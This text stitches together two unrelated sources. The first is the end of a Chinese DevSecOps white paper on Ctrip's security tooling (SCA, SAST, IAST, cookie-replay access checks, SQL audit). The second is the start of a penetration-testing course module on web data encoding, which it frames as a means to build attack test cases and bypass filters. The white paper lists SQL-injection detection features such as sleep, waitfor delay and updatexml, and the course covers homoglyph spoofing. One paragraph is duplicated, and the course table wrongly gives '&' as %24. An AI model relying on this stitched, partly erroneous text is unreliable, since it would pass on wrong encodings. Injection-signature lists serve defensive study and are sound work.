而在CI/CD模型下,每天都有几千次的发布,在持续集成/持续部署的道路上如何避免变成持续引入漏洞,仅靠携程现有的安全人力是无法解决的。 如何从亡羊补牢到未雨绸缪 SQL注入、撞库、验证码绕过等问题源源不断,安全人员往往沦为救火队长,在众多问题间疲于奔命。因此携程认为本质还需从企业安全文化着手,提 高业务团队的整体安全意识,避免安全变成被动的修补角色。 安全推动困难 安全与其他业务架构往往处于割裂状态,例如仅修复一个漏洞就需开发、测试甚至产品沟通方案及排期,如果是大规模推动底层框架、中间件升级,更 是难上加难。携程认为安全需要与公司框架、CI/CD流程更紧密的结合,提供温和嵌入流程的DevSecOps方案。 5.2 企业安全文化建设 2020年初携程内部组建了安全BP制,即每个事业部指定一名安全负责人,负责BU内部的安全事项,协助安全部推动研发团队的安全建设,安全BP通 常由研发团队的开发负责人或测试负责人担任。 指定安全BP的好处在于:安全BP作为BU研发团队成员,更了解BU内部开发测试流程,同时安全作为BP职责的一部分,相比安全部门能够更方便推动 BU内部的安全项目落地。同时,安全BP也是DevSecOps里安全左移流程的重要角色。 目前在携程内部通过BP推动落地的项目有IAST、Fastjson升级等。以IAST项目落地对比示例: 无安全BP时:推动IAST的流程为安全部->应用负责人。然而应用负责人大多不理解安全项目的需求,推动过程困难重重。 有安全BP时:流程变为安全部->安全BP->应用负责人。安全BP以提升自身业务安全的角度去推进,解决了安全与研发之间的矛盾,从而更加高效的推 动安全项目的落地。 5.3 企业安全流程建设 威胁建模作为DevSecOps计划阶段重要的一环,携程重点对此进行了规范建设,在此重点介绍。 携程通过对接公司内部的团队协作平台完成威胁建模。具体流程为,平台用户(各业务线产品经理)可按照业务场景选择威胁建模的场景,系统根据内 置模型中每种(业务)场景对应的威胁从而提供缓解措施。 CHAPTER FIVE 25 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 该平台重点针对标签、业务场景、威胁类型进行关联,由此串联生成威胁模型。以上图“暴破”标签为例: “暴破”对应的业务场景有“登录”、 “注册”、 “忘 记密码”、 “验证码”、 “支付”,对应的威胁类型包括“验证码暴破”和“万能验证码”,因此生成的威胁模型如下: 图 携程团队协作平台操作界面 图 携程威胁建模示例 图 携程漏洞管理界面 5.4 企业安全工具链实践 SCA是携程落地比较早的项目,主要在应用CI的过程中进行扫描分析,对于扫描发现中高危级别漏洞的应用进行发布拦截。 在SCA项目初期,动辄出现上万的漏洞告警,由此也诸多问题:漏洞是否需要修复、如何评定漏洞修复的优先级等。为了解决该问题,携程首先对漏 洞进行了维度划分及定义,包括:漏洞等级(高、中、低)、对应CVE是否有POC、应用内外网属性 5.4.1 开源组件安全扫描(SCA) 26 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 图 携程应用的 Cobra 应用框架 针对不同属性漏洞,携程规定对于外网应用存在POC的漏洞进需进行优先修复,内网应用和无POC的漏洞紧急性则调低。此外,携程还按照漏洞归 属区分框架漏洞和应用漏洞,对于框架引入的第三方组件漏洞,会协调公司内部框架修复。通过这样的方式减少了大量的漏洞告警,使得SCA嵌入 CI/CD流程对发布流程的影响降到最低。 携程的SAST有两套不同的代码扫描引擎:基于文本扫描的正则规则扫描与基于数据流/控制流的代码扫描。 正则扫描常用于在CI/CD流程中的快速检测,每个项目的扫描时间平均在10秒左右,可完全串入CI/CD流程,几乎不会额外增加开发流程的时间。 正则扫描代码的优点在于快速,这也意味着可用于应急响应中的全量代码扫描,比如说对于一些代码配置扫描或特殊函数调用检测。不过缺点也很 明显,对于部分理解代码上下文的漏洞误报率较高,如SQL注入。针对此类型漏洞,正则扫描器结果需由安全运营确认,从而减少对开发人员误报困 扰。 基于数据流、控制流的代码扫描与CI/CD流程的关系则为旁路。代码在CI/CD过程中同步进行扫描,扫描时间根据项目代码量从几分钟到几十分钟 不等。该扫描方式的优点在于对SQL注入、命令执行等漏洞检测准确率可达95%以上。 5.4.2 源代码安全扫描(SAST) 携程采用IAST Agent被动检测+分布式扫描器主动扫描的方式实现IAST,分为以下几部分: -IAST Agent:集成到测试环境应用Docker容器的Agent,用来检测应用中的漏洞,同时会把所有http流量复制回传到用于收集流量的kafka队列。 -IAST服务端:管理IAST Agent和漏洞的控制台。 -流量kafka队列:用于收集待扫描的流量,除了从IAST Agent回传的流量,还有来自主动爬虫、Chrome插件以及提测平台调用API发送过来的流量。 -分布式扫描器:消费kafka的流量并按照URL去重,调用扫描器进行漏洞扫描。 5.4.3 交互式应用安全测试(IAST) CHAPTER FIVE 27 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 针对不同属性漏洞,携程规定对于外网应用存在POC的漏洞进需进行优先修复,内网应用和无POC的漏洞紧急性则调低。此外,携程还按照漏洞归 属区分框架漏洞和应用漏洞,对于框架引入的第三方组件漏洞,会协调公司内部框架修复。通过这样的方式减少了大量的漏洞告警,使得SCA嵌入 CI/CD流程对发布流程的影响降到最低。 该架构具备较高的扫描覆盖率、IAST+DAST双重检测的漏洞精准检出率及低误报特性,帮助携程发现了内部存在已久未被发现的通用型漏洞,为企 业安全检测能力的补齐提供了很好的帮助。 图 携程 IAST 架构 标准镜像中将安装IAST agent 主动扫描 人工扫描 提测平台 黑盒扫描器 检测结果 流量转发 测试人员测试 请求 请求 请求 应用服务器 IAST agent 被动扫描 CI/CD⸺应用发布 28 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 针对越权检测,携程使用了替换Cookie重放流量的方法,具体步骤如下: >首先需抓取访问携程服务的http请求报文; >其次使用事先准备好的已登录账号Cookie替换请求报文进行重放; >最后根据返回报文来判断是否存在水平越权或者垂直越权,按照相似度高的报文、敏感信息关键字等信息判断(敏感信息包括订单金额、手机号、 身份证号等)。 详细的流程如下图: 5.4.4 越权检测 FreeBuf 咨询荣誉出品 CHAPTER FIVE 29 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 除此之外,携程在落地及高效运营越权检测系统中,还总结了企业需要注意的3项关键点,在此分享: (1)请求流量的筛选 面对携程每天海量的访问请求,实践越权检测的第一步应筛选出真正需要用来重放检测的流量。筛选条件有两个: 第一个是请求URL中是否包含关键字,这一点主要用于区分无需权限限制的公开信息和需要限制权限的与用户强相关的订单信息、个人信息等,原 因在于只有与用户相关的信息需要防止越权。在实践过程中,携程收集了一批与订单及个人信息关联的关键字用于越权检测的流量筛选。 第二个筛选条件是请求报文是否为静态页面。携程网站基本都做到了前后端分离,页面上展示的与用户强相关的信息都是通过ison请求获取,也就 是说越权检测真正需要检测便是这些json接口的请求。 (2)返回报文的筛选 替换Cookie后,部分返回报文可直接判断是否存在越权。判断条件便是基于关键字的判定筛选,关键字包括“没有权限”、 “无权访问”、 “失败”等。 (3)登录会话维持 落地越权检测系统中很重要的一点是需要维护一套用于替换的Cookie,对此,携程制作了后端平台用于收集和维护各种站点的登录信息。 图:携程越权检测流程示例 http请求输入 替换cookie 发包请求 是否开启了url 关键字匹配 判断是否有权限访问(response中不包含请求失败关键字) response是否形似度较高&&response中是否包含敏感信息关键字 是否命中关键字 response 是否为html 无需检测 无需检测 无需检测 存在越权 命中关键字的url才会做越权逻辑检测 是 是 是 否 否 否 否 否 无需检测 是 若替换cookie后无权限访问则无需检测 html页面现在关键字误报较高, 目前只关注接口返回信息 FreeBuf 咨询荣誉出品 30 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 该后台保存了登录站点所需的用户名、密码、URL以及登录态的Cookie,并且会持续验证Cookie的有效性。验证cookie有效性的方法通常是是每隔 一段时间访问一遍事先配置好的URL,称为“检查URL”,如果访问检查URL返回的页面中包含特定关键字(可通过xpath定位),则证明登录态仍然 有效。 图 携程登录会话维持后台 数据库审计主要是为了检测SQL查询中的异常行为,目前携程分为四个方向进行检测: -数据外泄:即数据外出检测,用来检测数据被大量拖库的情况; -SQL注入:检测是否被尝试或成功SQL注入; -DB账户鉴权:检测数据库账号使用是否正常; -DB直连:检测数据库是否被非生产环境直接连接。 具体实现方式是把所有实际执行的SQL语句写入到clickhouse,然后定时去读取其中的SQL语句,分析SQL语句是否存在异常。整体架构图如下: 5.4.5 数据库审计 图:携程 SQL 注入 clickhouse 数据库 应用程序 实际执行的SQL语句 DBAudit FreeBuf 咨询荣誉出品 CHAPTER FIVE 31 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 图 携程内部漏洞管理界面 目前携程在SAST、SCA每周的扫描量约3万任务数,安全评审数量每周约100,内部发现的漏洞数占全部漏洞数的95%以上,其中99%以上为工具自 动发现,漏洞闭环率100%。 携程落地DevSecOps的关键在于嵌入CI/CD流程,减少对开发流程的阻碍,运用多种自动化测试工具使得安全与业务研发实现更紧密的合作。 以应用层面最关注的SQL注入检测为例,分析规则主要分为白名单检测和黑名单检测。 -白名单检测是按照IP或hostname过滤规则,处理来自DBA管理工具或大数据平台的SQL查询问题;-黑名单通过匹配SQL注入特征的规则实现,同 时为了提高准确率,携程还提炼了SQL语句结构树,使得所有黑名单匹配的策略最终落在SQL语句结构树上。 此外,SQL注入检测的特征维度主要根据SQL结构树内容和SQL函数,包含SQL注入常用的探测方式。例如盲注所需的waitfor delay、sleep,探测 MySQL表名/列名的information_schema,截取字符串所需的mid、substr,报错注入常用的extractvalue、updatexml、恒真规则,探测数据库信息 所需的current_user等等。此类有效规则共计60多条,基本上涵盖了常见手工注入和工具注入的特征。 作为DevSecOps流程中重要的一环,漏洞管理平台是不可或缺的一部分,携程使用内部的自研漏洞平台实现全生命周期的漏洞跟踪管理,漏洞管 理流程包括: -漏洞跟踪:从漏洞发现生成工单到修复完成关闭工单。 -漏洞统计:按漏洞类型、时间、严重等级、来源各个维度进行统计和分析。 -漏洞复盘:对于外部发现的漏洞,通过复盘内部工具、流程,记录未能发现的原因和改进措施;对于内部发现的漏洞,结合黑白盒扫描方式改进规则 发现,提升漏洞检出率。 5.4.5 漏洞全生命周期管理 FreeBuf 咨询荣誉出品 6 CHAPTER SIX 第六章 总结 与展望 FreeBuf 咨询荣誉出品 CHAPTER FIVE 33 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 6.1 头部行业加快实践步伐 从DevSecOps的发展历程来看,2015年处于技术关注的最高点,承载了极高的市场期望。此后,逐渐从关注度高峰下沉到了具体实践阶段。在此过 程中,有一类声音一度出现过,DevSecOps对于企业是一个乌托邦式的存在。事实上,企业文化鸿沟与先进工具的缺失、潜在的威胁与安全问题等 等,都让企业在落地DevSecOps的过程中困难重重,变得可望而不可及。 不过伴随着DevSecOps战略框架的日趋完善,国内相关行业的建设也迅速开展起来,金融、运营商、通信、互联网等头部行业实践效果也在逐步提 升。同时,此外,随着《研发运营一体化(DevOps)能力成熟度模型》的发布,合规也成为企业落地的方向之一。 6.2 实践需贴合企业属性 DevSecOps贯穿于企业开发运维整体的生命周期,对于IT发展成熟企业或规模较小企业,实践往往意味着大刀阔斧的变革。 因此并不是所有甲方都适合直接套用DevSecOps实践流程,还需根据自身的组织发展目标、文化特点及业务场景做进一步论证,将安全长远规划与阶 段性实施相结合,逐步摸索出企业自己的安全能力体系。对企业来讲,选择合适的安全工具切入DevSecOps是更加柔和有效的实践方式。 6.3 安全是每个人的责任 安全是每个人的责任,人人参与DevSecOps才能保障安全。2020 RSAC也以“Human Element”为主题,核心是从源头做安全治理,需要让人成为安 全建设的一环,而不是安全问题的一环。 同时在成熟企业落地DevSecOps的过程中,不难发现,企业安全文化的培养总会列为重中之重。安全和各个团队都需要参与到DevSecOps研发模 式的不断建设和优化中来,不断推进DevSecOps理论和工具链的向前发展,不断提供更好更便利的安全能力并且尽可能的通过自动化、自助化等 方式为研发工程师赋能,这种多文化、多学科的自动化安全环将会促使每个人都关注安全,这也是DevSecOps的驱动来源。 FreeBuf 咨询荣誉出品 附录:参考链接 [1]中国DevOps现状调查报告(2019) [2]GitLab第四次全球DevSecOps年度调查报告 https://blog.csdn.net/weixin_40046357/article/details/106271285 [3]2017 State of DevOps Report. https://puppet.com/system/files/2017-10/2017-state-of-devops-report-puppet-dora.pdf [4]Gartner: DevSecOps: How to Seamlessly Integrate Security Into DevOps. https://www.gartner.com/document/3463417 [5]RSA Conference. https://www.rsaconference.com [6]Gartner: 10 Things to Get Right for Successful DevSecOps. https://www.gartner.com/document/3811369 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 34 FreeBuf 咨询荣誉出品 出 品 方 安全聚合力系列 《2020 DevSecOps 企业实践白皮书》 FreeBuf 咨询荣誉出品
pdf
© Caendra Inc. 2020 All Rights Reserved Web Application Penetration Testing eXtreme Encod%69ng and /^Filtering$/ S e c t i o n 0 1 | M o d u l e 0 1 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Table of Contents MODULE 01 | ENCOD%69NG AND /^FILTERING$/ 1.1 Data Encoding Basics 1.2 Filtering Basics | p.2 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Learning Objectives In this module we will talk about different types of data encoding. We will see how to recognize, encode, and decode several different formats as well as discuss filters and how they work. | p.3 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 1.1 Data Encoding Basics | p.4 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Even though web applications have different purposes, technologies, etc., the use of data encoding is something that cannot be neglected. From a penetration testing point of view, understanding what kind of data encoding is being used and how it works is fundamental in ensuring that the tests are performed as intended. 1.1 Data Encoding Basics | p.5 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Let’s briefly analyze the main types of data encoding used in web-oriented applications: • URL encoding • HTML encoding • Base (32|64) encoding • Unicode encoding 1.1.1 Dissecting Encoding Types | p.6 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://tools.ietf.org/html/rfc3986#section-2.1 As stated in RFC 3986, URLs sent over the Internet must contain characters in the range of the US-ASCII code character set. If unsafe characters are present in a URL, encoding them is required. The URL-encoding, or percent-encoding, replaces characters outside the allowed set with a "%" followed by the two hexadecimal digits representing the numeric value of the octet. 1.1.1.1 URL Encoding | p.7 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://perishablepress.com/stop-using-unsafe-characters-in-urls/ The table shown here is a simple character encoding chart that is useful in explaining which characters are “safe” and which characters should be encoded in URLs. 1.1.1.1 URL Encoding | p.8 CLASSIFICATION INCLUDED CHARACTERS ENCODING REQUIRED? Safe characters Alphanumeric [0-9a-zA-Z], special characters $-_.+!*'(), and reserved characters used for their reserved purposes (e.g., question mark used to denote a query string) NO ASCII Control characters Includes the ISO-8859-1 (ISO-Latin) character ranges 00-1F hex (0-31 decimal) and 7F (127 decimal.) YES Non-ASCII characters Includes the entire “top half” of the ISO-Latin set 80-FF hex (128-255 decimal.) YES Reserved characters $ & + , / : ; = ? @ (not including blank space) YES* Unsafe characters Includes the blank/empty space and " < > # % { } | \ ^ ~ [ ] ` YES * NOTE: Reserved characters only need encoding when not used for their defined, reserved purposes. WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Some commonly encoded characters are: 1.1.1.1 URL Encoding | p.9 CHARACTER PURPOSE IN URI ENCODING # Separate anchors %23 ? Separate query string %3F & Separate query elements %24 % Indicates an encoded character %25 / Separate domain and directories %2F + Indicates a space %2B <space> Not recommended %20 or + WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Even in HTML, it is important to consider the information integrity of the URL’s and ensure that user agents (browsers & co.) display data correctly. There are two main issues to address: inform the user agent on which character encoding is going to be used in the document and preserve the real meaning of some characters that have special significance. 1.1.1.2 HTML Encoding | p.10 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 In order to generate potential attacks and test cases, you should not only know how this kind of encoding works, but also know how the decoding mechanism work. 1.1.1.2 HTML Encoding | p.11 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 There are several ways to instruct the user agent on which character encoding has been used in a given document. These methods use the HTTP protocol and/or HTML directives. 1.1.1.2.1 Document Character Encoding | p.12 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 https://tools.ietf.org/html/rfc2616 Define character encoding using HTTP According to HTTP 1.1 RFC, documents transmitted via HTTP can send a charset parameter in the header to specify the character encoding of the document sent. This is the HTTP header: Content-Type. If this header is sent, we will see something like this: Content-Type: text/html; charset=utf-8 1.1.1.2.1 Document Character Encoding | p.13 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://en.wikipedia.org/wiki/ISO/IEC_8859-1 Define character encoding using HTTP The Content-Type header indicates the media type of the body sent to the recipient. In the case of the HEAD method, it indicates the media type that would have been sent if the request had been a GET. If not defined, the RFC defines as the default charset the ISO-8859-1. "8-bit single-byte coded graphic character sets" aka Latin 1 1.1.1.2.1 Document Character Encoding | p.14 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Define character encoding using HTTP To make the server send out the appropriate charset information, it is possible to change the server settings or use the server-side scripting language. Let’s look at some examples in different programming languages. 1.1.1.2.1 Document Character Encoding | p.15 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://www.php.net/header http://msdn.microsoft.com/en-us/library/system.web.httpresponse Define character encoding using HTTP PHP> Uses the header() function to send a raw HTTP header: header('Content-type: text/html; charset=utf-8'); ASP.Net> Uses the response object: <%Response.charset="utf-8"%> JSP> Uses the page directive: <%@ page contentType="text/html; charset=UTF-8" %> 1.1.1.2.1 Document Character Encoding | p.16 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Define character encoding using HTTP It is also possible to set the character encoding using the HTMLdirective META. For example, this code is useful in specifying the character encoding of the current document to UTF-8: <meta http-equiv="Content-Type" Content="text/html; charset=utf-8"> With HTML5, is also possible to write: <meta charset="utf-8"> 1.1.1.2.1 Document Character Encoding | p.17 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 In HTML, there are some special characters that can have multiple meanings. For example, the character < can represent the following: • the beginning of a tag element <span>Hello</span> • a comparison operator in JavaScript if (x < 7) { • part of a text message "…less-than 3 would be written as < 3…" 1.1.1.2.2 Character References | p.18 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://www.w3.org/TR/1998/REC-html40-19980424/charset.html#h-5.3 http://www.w3.org/TR/html5/single-page.html#character-references To preserve the real meaning of characters, the HTML specification provides a way to escape these special characters so that they are not "confused" as HTML or other codes. The following links will take you to the respective HTML4 and HTML5 specifications. 1.1.1.2.2 Character References | p.19 CHR. REFERENCES CHR. REFERENCES WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 As the standard states, character references must start with a U+0026 AMPERSAND character (&) and following this, there are multiple ways to represent character references. Let’s see some examples. 1.1.1.2.2 Character References | p.20 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity _references#Character_entity_references_in_HTML We want to encode the character < (less-than sign): 1.1.1.2.2 Character References | p.21 Character Reference Rule Encoded character Named entity & + named character references + ; &lt; Numeric Decimal & + # + D + ; D = a decimal number &#60; Numeric Hexadecimal & + #x + H + ; H = an hexadecimal number (case-insensitive) &#x3c; &#X3C; WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Here we can see some interesting variations: 1.1.1.2.2 Character References | p.22 Character Reference Variation Encoded character Numeric Decimal No terminator (;) &#60 One or more zeroes before code &#060 &#00000060 Numeric Hexadecimal No terminator (;) &#x3c One or more zeroes before code &#0x3c &#00000x3c WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Everyday, we see hexadecimal (aka Base16) numbers in network MAC addresses, X.509 certificates, Unicode characters, CSS colors, etc. This encoding scheme is frequently used in computer science. In addition to Base16 encoding, there are other interesting binary-to-text encoding schemes: Base36 and Base64 1.1.1.3 Base (36|64) Encoding | p.23 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 36 Encoding Scheme Base36 is an interesting encoding scheme to play. It is the most compact, case-insensitive, alphanumeric numeral system using ASCII characters. In fact, the scheme’s alphabet contains all digits [0-9] and Latin letters [A-Z]. The table on the next slide contains the conversions and comparisons with other well-known bases. 1.1.1.3.1 Base 36 | p.24 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 36 Encoding Scheme 1.1.1.3.1 Base 36 | p.25 binary dec hex 36 0000 0 0 0 0001 1 1 1 0010 2 2 2 0011 3 3 3 0100 4 4 4 0101 5 5 5 0110 6 6 6 0111 7 7 7 1000 8 8 8 1001 9 9 9 1010 10 a a 1011 11 b b 1100 12 c c binary dec hex 36 1101 13 d d 1110 14 e e 1111 15 f f 10000 16 10 g 10001 17 11 h 10010 18 12 i 10011 19 13 j 10100 20 14 k 10101 21 15 l 10110 22 16 m 10111 23 17 n 11000 24 18 o 11001 25 19 p binary dec hex 36 11010 26 1a q 11011 27 1b r 11100 28 1c s 11101 29 1d t 11110 30 1e u 11111 31 1f v 100000 32 20 w 100001 33 21 x 100010 34 22 y 100011 35 23 z 100100 36 24 10 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 36 Encoding Scheme For example, the number 1294870408610 in Base10 is represented in Base36 as GIUSEPPE. Remember that it is case-insensitive. So, for example, the terms XSS, xss, XsS, etc… have the same representation in Base10, 43804. 1.1.1.3.1 Base 36 | p.26 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://www.reddit.com/ http://tinyurl.com/ Base 36 Encoding Scheme Now the question is, "why should we know this encoding scheme?” The answer is easy, because Base36 is used in many real-world scenarios. For example, Reddit uses it for identifying both post’s and comments, while some URL shortening services like TinyURL use Base36 integer as compact, alphanumeric identifiers. 1.1.1.3.1 Base 36 | p.27 http://tinyurl.com/jfvqr WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 36 Encoding Scheme Another example is if we want to convert OHPE from Base36 to decimal, there are different implementations in many programming languages. Let’s see how to do this with PHP and JavaScript. 1.1.1.3.1 Base 36 | p.28 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://www.php.net/manual/en/function.base-convert.php Base 36 Encoding Scheme: PHP PHP uses the base_convert() function to convert numbers: OHPE in Base 10 is <?=base_convert("OHPE",36,10);?> 1.1.1.3.1 Base 36 | p.29 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 36 Encoding Scheme: JavaScript JavaScript uses two functions: • (1142690).toString(36) • 1142690..toString(36) // encode parseInt("ohpe",36) // decode 1.1.1.3.1 Base 36 | p.30 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 64 Encoding Scheme Base64 is one of the most widespread binary-to-text encoding schemes to date. It was designed to allow binary data to be represented as ASCII string text. It is an encoding scheme, not an encryption one. This is not clear to many developers who use Base64 instead of encryption to store or transmit sensitive information. 1.1.1.3.2 Base 64 | p.31 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://en.wikipedia.org/wiki/Base64#Implementations_and_history Base 64 Encoding Scheme The alphabet of the Base64 encoding scheme is composed of digits [0-9] and Latin letters, both upper and lower case [a-zA-Z], for a total of 62 values. To complete the character set to 64 there are the plus (+) and slash (/) characters. Different implementations, however, may use other values for the latest two characters and the one used for padding (=). For a complete list look here. 1.1.1.3.2 Base 64 | p.32 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 64 Encoding Scheme To encode a message in Base 64, the algorithm divides the message into groups of 6 bits* and then converts each group, with the respective ASCII character, following the conversion table. *That's why the allowed characters are 64 (26 = 64). 1.1.1.3.2 Base 64 | p.33 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 64 Encoding Scheme 1.1.1.3.2 Base 64 | p.34 Binary (dec) Base 64 000000 (0) A 000001 (1) B 000010 (2) C 000011 (3) D 000100 (4) E 000101 (5) F 000110 (6) G 000111 (7) H 001000 (8) I 001001 (9) J 001010 (10) K 001011 (11) L 001100 (12) M 001101 (13) N 001110 (14) O 001111 (15) P Binary (dec) Base 64 010000 (16) Q 010001 (17) R 010010 (18) S 010011 (19) T 010100 (20) U 010101 (21) V 010110 (22) W 010111 (23) X 011000 (24) Y 011001 (25) Z 011010 (26) a 011011 (27) b 011100 (28) c 011101 (29) d 011110 (30) e 011111 (31) f Binary (dec) Base 64 100000 (32) g 100001 (33) h 100010 (34) i 100011 (35) j 100100 (36) k 100101 (37) l 100110 (38) m 100111 (39) n 101000 (40) o 101001 (41) p 101010 (42) q 101011 (43) r 101100 (44) s 101101 (45) t 101110 (46) u 101111 (47) v Binary (dec) Base 64 110000 (48) w 110001 (49) x 110010 (50) y 110011 (51) z 110100 (52) 0 110101 (53) 1 110110 (54) 2 110111 (55) 3 111000 (56) 4 111001 (57) 5 111010 (58) 6 111011 (59) 7 111100 (60) 8 111101 (61) 9 111110 (62) + 111111 (63) / WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 64 Encoding Scheme If the total number of bits is not a multiple of 6, then null bits need to be added until the total is both a multiple of 6 and the result length a multiple of 4. Then, if the latest group is 'null' (000000), the respective encoding value is = but, if the trailing "null groups" are two they will be encoded as ==. Let’s check out some examples. 1.1.1.3.2 Base 64 | p.35 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 64 Encoding Scheme To encode the term "HEY" we have: 1.1.1.3.2 Base 64 | p.36 █ 1st 6 bits █ 2nd 6 bits █ 3rd 6 bits █ 4th 6 bits WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 64 Encoding Scheme To encode the term "HI" we have: 1.1.1.3.2 Base 64 | p.37 █ 1st 6 bits █ 2nd 6 bits █ 3rd 6 bits █ Padding WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 64 Encoding Scheme To encode the char "H" we have: 1.1.1.3.2 Base 64 | p.38 █ 1st 6 bits █ 2nd 6 bits █ Padding WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Base 64 Encoding Scheme Naturally, due to its popularity, there are many encoding / decoding implementations of Base64 in a variety of different programming languages. Let’s see some of them. 1.1.1.3.2 Base 64 | p.39 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 https://www.php.net/base64_encode https://www.php.net/base64_decode Base 64 Encoding Scheme: PHP PHP uses base64_encode and base64_decode functions to encode/decode data based on MIME Base 64 implementation: <?=base64_encode('encode this string')?> //Encode <?=base64_decode('ZW5jb2RlIHRoaXMgc3RyaW5n')?> //Decode 1.1.1.3.2 Base 64 | p.40 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 https://developer.mozilla.org/en-US/docs/Web/API/Window.btoa Base 64 Encoding Scheme: JavaScript Many browsers can handle Base64 natively through functions btoa and atob: window.btoa('encode this string'); //Encode window.atob('ZW5jb2RlIHRoaXMgc3RyaW5n'); //Decode 1.1.1.3.2 Base 64 | p.41 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 https://developer.mozilla.org/en-US/docs/Web/API/Window.btoa Base 64 Encoding Scheme It is important to notice that if we want to handle Unicode strings, then we should encode them before using Base64 functions. For example, in JavaScript this is possible as follows: 1.1.1.3.2 Base 64 | p.42 The escapes and encodings are required to avoid exceptions with characters out of range. Learn more here. WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Unicode (aka ISO/IEC 10646 Universal Character Set) is the character encoding standard created to enable people around the world to use computers in any language. It supports all the world's writing systems. Because Unicode contains such a large number of characters, glyphs, numbers, etc., from a security point of view, it is fascinating because incorrect usage can expose web applications to possible security attacks. One such example, is that it can be useful to bypass filters. 1.1.1.4 Unicode Encoding | p.43 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 We are not going to cover the Unicode specifics, but if you want to have a better background on the argument, character sets and related topics, the following link is a great starting point: http://www.joelonsoftware.com/articles/Unicode.html 1.1.1.4 Unicode Encoding | p.44 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 There are three ways to map Unicode character points: • UTF-8 • UTF-16 • UTF-32 UTF means Unicode Transformation Format and the trailing number indicates the number of bits to represent code points. 1.1.1.4 Unicode Encoding | p.45 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Thus, each UTF has a different representation and it is important to understand how to handle these in our tests. The following table shows a sample message encoded in the three different UTF formats. 1.1.1.4 Unicode Encoding | p.46 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 It is also useful to know how Unicode characters are handled through different implementations like URLs, HTML, JavaScript, etc. We can see some of them below. 1.1.1.4 Unicode Encoding | p.47 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Besides the representation of Unicode characters in multiple encoding types, another interesting aspect is the interpretation that humans and different implementations give to some characters. 1.1.1.4 Unicode Encoding | p.48 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://en.wikipedia.org/wiki/Homoglyph Homoglyph | Visual Spoofing "In typography, a Homoglyph is one or two or more characters, or glyphs, with shapes that either appear identical or cannot be differentiated by quick visual inspection." [Wikipedia] An additional classification is: HOMOGRAPH > a word that looks the same as another word HOMOGLIPH > a look-alike character used to create homographs 1.1.1.4 Unicode Encoding | p.49 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Homoglyph | Visual Spoofing One of the possible attacks with Unicode is called: 1.1.1.4 Unicode Encoding | p.50 Visual Spoοfing U+006F LATIN SMALL LETTER O U+03BF GREEK SMALL LETTER OMICRON WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://www.unicode.org/reports/tr39/ http://unicode.org/cldr/utility/confusables.jsp Homoglyph | Visual Spoofing If we analyze the characters code points of the string, the differences between the o and the ο are evident, but for a human this is not so obvious. These kind of characters, also known as a confusable, received special attention from the Unicode Consortium (TR39). So much so, that they have provided a utility, whereby given an input string you can see the combinations that are confusable with it. 1.1.1.4 Unicode Encoding | p.51 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Homoglyph | Visual Spoofing - Example: google.com 1.1.1.4 Unicode Encoding | p.52 U+006F 